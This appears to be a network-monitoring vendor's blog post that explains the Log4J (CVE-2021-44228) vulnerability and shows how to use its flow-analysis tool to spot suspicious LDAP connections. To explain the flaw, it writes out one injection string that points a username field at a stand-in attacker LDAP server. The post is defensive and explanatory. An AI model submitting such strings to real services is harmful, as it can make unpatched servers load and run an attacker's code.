A new serious remote code execution vulnerability was revealed this week in the logging library Log4J (logging for Java) package. We are getting various enquiries from our users about this vulnerability and if anything can be done from the Network Monitoring side with Trisul Network Analytics.
Poor mans guide to the vulnerability
When business software runs on servers it continuously writes log messages into files called log files. These messages contain application specific event messages. A software may log usernames, requests, various field contents, user agents, mobile numbers and so on. Log4J allows software developers to use a streamlined interface for log messages with timestamps, log levels such as MAJOR, MINOR, INFO. What happens here is Log4J offered some advanced options that is the reason for this current vulnerability.
A simple log message would look like
If your program did this
log.info("User johandsmith logged in success opening dashboard performance metrics 2");
it would be written in the log file as
Mon Dec 13 15:41:21 2021.034014 INFO User johandsmith logged in success opening dashboard performance metrics 2
Now Log4J has a special string that allows you to resolve or expand the message at logging time using some external service. The developer could put in a string of the form ${jndi:ldap://goodldapserver.com/queryAttribute=?} and it would be expanded. The software would contact the LDAP server in this string and run the query.
Now imagine a webservice with a username — instead of a real username you could type the string ${jndi:ldap://mrmalice.com/payload} in the payload that too would be resolved and logged !! Of course the bad guy controls that server. This loading from untrusted source opens up the place where the exploit could be plugged in.
Trisul Network Analytics isnt vulnerable
Trisul Network Analytics does not use Log4J at all or even Java hence the software is not vulnerable to this particular CVE.
Investigating and detecting the vulnerability from the network
All Java based software that uses Log4J 2.x should update to the latest version immediately. Customers should contact the software vendors to take this step.
Investigating and detecting this from a network security monitoring standpoint using Trisul Network Analytics and similar tools is possible.
In terms of capabilities we split enterprises into two groups.
- Max security monitoring : Monitor at packet level all traffic at all border points in your network. Plus Netflow at all internal sideways traffic points. (Trisul with Packet Mode)
- Optimal security monitoring : Netflow at all external and internal points (Trisul in Netflow mode)
If you are monitoring a packet level then you might be able to run Suricata or Snort rules for example The Emerging Threats rules from Proofpoint which has detections for the jndi and ldap string with all its obfuscations. This may however be of limited use because the initial injection of the string would invariably happen over HTTPS. It is defeated by encryption. However the following can be detected easily : using Threat Intel for domain names such as this one on Github. Packet mode also allows you to examine the LDAP payload during the reach-out phase.
The key is to search for LDAP connections and look for exchange. Here is quick way to do it
Explore flows
Open the explore flows tool and select “This Month” as the time period. Then search for all LDAP flows by typing “ldap” in the Port field
This shows all LDAP flows seen by Trisul (both in Packet and Netflow mode). Since Trisul stores ALL flows with no summarizations it is a perfect source of truth for this investigation. Next you will be shown a table of flows
What you are looking for here in this table is the IN/OUT bytes. Click the Cols button to show these columns. In the above image we see a lot of LDAP connections from unknown IP to our assets, however they are merely scans as you can see that there is no actual exchange of data. This type of analysis can provide your team with a level of confidence.
You can also watch for some advanced metrics like Active LDAP connections to detect statistical deviations in LDAP connection traffic. Actual bandwidth may not explode like you would see in a DDoS attack. To view these metrics
- In search bar on top right – type LDAP
- Press View Details against LDAP protocol
You will be taken to the Key Dashboard. In the A la carte statistics select Active connections. This will show the active LDAP connections over the past month you can use this to spot any anomalies.
Conclusion
Due to the use of encryption pure packet based signature techniques may not have the desired detection efficiency using network monitoring techniques. However a combination of packet monitoring, flow analysis, and statistical analysis can be used to provide good investigative and detection capabilties of the Log4J vulnerability. We showed a couple of investigative tools in Trisul to help you. Essential to this is a perfect flow log enriched by packets, domain names, and metrics. That is what Trisul provides its users.
References :
- USA National Vulnerability Database details of CVE https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- Palo Alto blog https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- Cloudflare blog https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/